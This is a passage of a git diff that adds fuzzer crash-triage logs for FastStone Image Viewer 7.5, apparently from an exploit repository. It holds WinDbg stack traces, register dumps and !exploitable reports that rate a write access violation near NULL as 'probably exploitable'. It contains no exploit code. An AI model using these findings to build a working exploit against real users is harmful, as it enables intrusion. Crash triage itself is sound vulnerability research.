+CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x35647477) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..ed12e7e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x35647477/2022832/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e83b324 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..d5b4f2c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`6b230000 00007ffa`6b425000 ntdll.dll +ModLoad: 00000000`77da0000 00000000`77f43000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1720: page heap enabled with flags 0x3. +ModLoad: 00007ffa`694b0000 00007ffa`69509000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`6a8d0000 00007ffa`6a953000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77d90000 00000000`77d9a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`6f830000 00000000`6f895000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1720: page heap enabled with flags 0x3. +ModLoad: 00000000`77ae0000 00000000`77bd0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`75ef0000 00000000`76103000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`767e0000 00000000`76973000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`77d60000 00000000`77d78000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`76d70000 00000000`76d93000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`77950000 00000000`77a2a000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`77ce0000 00000000`77d5b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76da0000 00000000`76ec0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`776f0000 00000000`77769000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`77890000 00000000`7794f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76bc0000 00000000`76c35000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76720000 00000000`767da000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76fb0000 00000000`77046000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`75c60000 00000000`75ee1000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76ec0000 00000000`76fa3000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`6f820000 00000000`6f826000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75740000 00000000`75748000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`77ab0000 00000000`77ad5000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74480000 00000000`74692000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_11b1e5df2ffd8627\comctl32.dll +ModLoad: 00000000`76110000 00000000`766c1000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`6edd0000 00000000`6ee3d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`77200000 00000000`772af000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`77c50000 00000000`77cd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`766d0000 00000000`76715000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`6f800000 00000000`6f81b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`70fa0000 00000000`70fc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`6f780000 00000000`6f7a2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`6e5a0000 00000000`6e73a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`77870000 00000000`77889000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`75110000 00000000`75717000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`6f760000 00000000`6f779000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`750e0000 00000000`75104000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 00000000`6edb0000 00000000`6edcd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001e0000 00000000`001fd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 6f9b0000 6f9f7000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`759c0000 00000000`75a34000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`77120000 00000000`771f3000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`6ed90000 00000000`6eda9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`75720000 00000000`7572f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76cb0000 00000000`76d0c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77050000 00000000`7708b000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`77bd0000 00000000`77c4e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74bd0000 00000000`74c93000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`750c0000 00000000`750dd000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`742d0000 00000000`74364000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`70150000 00000000`702c0000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`6e950000 00000000`6e9b1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`6ed80000 00000000`6ed87000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`70a80000 00000000`70ab2000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`708a0000 00000000`70a80000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`70730000 00000000`70895000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`70660000 00000000`70722000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`704d0000 00000000`70660000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`74280000 00000000`742c9000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`750a0000 00000000`750aa000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`75070000 00000000`75098000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`6ed60000 00000000`6ed75000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`74a10000 00000000`74a29000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f90000 00000000`70f9b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`74370000 00000000`743f2000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1720.186c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07fc5519 edx=00000000 esi=00000000 edi=095c0fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0023:00604b66 fpdp=002b:07fc5870 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.783268298288415840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=1.02857e-038 1.0653e-038 9.82655e-039 9.64286e-039 +xmm7=1.5134e-043 9.91837e-039 4.22458e-039 1.05612e-038 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080a8130 08025930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 77aff989 003f0000 77aff970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 77e074b4 003f0000 a7064f5c 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 77e07484 ffffffff 77e2734b 00000000 ntdll_77da0000!__RtlUserThreadStart+0x2f +0019ffec 00000000 00963a10 003f0000 00000000 ntdll_77da0000!_RtlUserThreadStart+0x1b + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x4620527c +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77da0000!__RtlUserThreadStart+0x2f +STACK_FRAME:ntdll_77da0000!_RtlUserThreadStart+0x1b +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x4620527c) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..d5b4f2c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`6b230000 00007ffa`6b425000 ntdll.dll +ModLoad: 00000000`77da0000 00000000`77f43000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1720: page heap enabled with flags 0x3. +ModLoad: 00007ffa`694b0000 00007ffa`69509000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`6a8d0000 00007ffa`6a953000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77d90000 00000000`77d9a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`6f830000 00000000`6f895000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1720: page heap enabled with flags 0x3. +ModLoad: 00000000`77ae0000 00000000`77bd0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`75ef0000 00000000`76103000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`767e0000 00000000`76973000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`77d60000 00000000`77d78000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`76d70000 00000000`76d93000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`77950000 00000000`77a2a000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`77ce0000 00000000`77d5b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76da0000 00000000`76ec0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`776f0000 00000000`77769000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`77890000 00000000`7794f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76bc0000 00000000`76c35000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76720000 00000000`767da000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76fb0000 00000000`77046000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`75c60000 00000000`75ee1000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76ec0000 00000000`76fa3000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`6f820000 00000000`6f826000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75740000 00000000`75748000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`77ab0000 00000000`77ad5000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74480000 00000000`74692000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_11b1e5df2ffd8627\comctl32.dll +ModLoad: 00000000`76110000 00000000`766c1000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`6edd0000 00000000`6ee3d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`77200000 00000000`772af000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`77c50000 00000000`77cd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`766d0000 00000000`76715000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`6f800000 00000000`6f81b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`70fa0000 00000000`70fc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`6f780000 00000000`6f7a2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`6e5a0000 00000000`6e73a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`77870000 00000000`77889000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`75110000 00000000`75717000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`6f760000 00000000`6f779000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`750e0000 00000000`75104000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 00000000`6edb0000 00000000`6edcd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001e0000 00000000`001fd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 6f9b0000 6f9f7000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`759c0000 00000000`75a34000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`77120000 00000000`771f3000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`6ed90000 00000000`6eda9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`75720000 00000000`7572f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76cb0000 00000000`76d0c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77050000 00000000`7708b000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`77bd0000 00000000`77c4e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74bd0000 00000000`74c93000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`750c0000 00000000`750dd000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`742d0000 00000000`74364000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`70150000 00000000`702c0000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`6e950000 00000000`6e9b1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`6ed80000 00000000`6ed87000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`70a80000 00000000`70ab2000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`708a0000 00000000`70a80000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`70730000 00000000`70895000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`70660000 00000000`70722000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`704d0000 00000000`70660000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`74280000 00000000`742c9000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`750a0000 00000000`750aa000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`75070000 00000000`75098000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`6ed60000 00000000`6ed75000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`74a10000 00000000`74a29000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f90000 00000000`70f9b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`74370000 00000000`743f2000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1720.186c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07fc5519 edx=00000000 esi=00000000 edi=095c0fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0023:00604b66 fpdp=002b:07fc5870 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.783268298288415840000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=1.02857e-038 1.0653e-038 9.82655e-039 9.64286e-039 +xmm7=1.5134e-043 9.91837e-039 4.22458e-039 1.05612e-038 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080a8130 08025930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 77aff989 003f0000 77aff970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 77e074b4 003f0000 a7064f5c 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 77e07484 ffffffff 77e2734b 00000000 ntdll_77da0000!__RtlUserThreadStart+0x2f +0019ffec 00000000 00963a10 003f0000 00000000 ntdll_77da0000!_RtlUserThreadStart+0x1b + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x4620527c +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77da0000!__RtlUserThreadStart+0x2f +STACK_FRAME:ntdll_77da0000!_RtlUserThreadStart+0x1b +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x4620527c) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e83b324 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x4620527c/2021607/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/15880/Initial/SystemDebugger_description.txt 